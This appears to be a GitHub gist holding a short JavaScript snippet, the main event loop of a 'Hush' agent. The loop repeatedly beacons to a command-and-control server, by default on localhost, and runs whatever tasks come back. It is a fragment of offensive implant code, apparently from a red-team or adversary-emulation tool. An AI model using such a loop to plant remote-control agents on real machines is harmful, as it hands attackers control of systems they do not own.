Skip to content

Instantly share code, notes, and snippets.

@khyberspache
Created September 3, 2021 18:54
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save khyberspache/404d9ce74068640eaacec30a382889d4 to your computer and use it in GitHub Desktop.
Save khyberspache/404d9ce74068640eaacec30a382889d4 to your computer and use it in GitHub Desktop.
Hush agent's main event loop
function run(argv) {
beacon = new Beacon((argv.length > 0) ? (argv[0] || argv) : 'http://localhost:3391', (argv.length > 1) ? argv[1] : 'http');
while (true) {
try {
let tasks = runModule('c2', beacon.contact, {beacon: beacon});
beacon.Links = tasks.map(task => executeTask(Object.assign(new Instruction(), task, {Pid: beacon.pid})));
} catch (e) {
console.log(`Beacon failed. ${e}`)
}
console.log(`Sleeping for ${beacon.Sleep} seconds`);
delay(beacon.Sleep);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment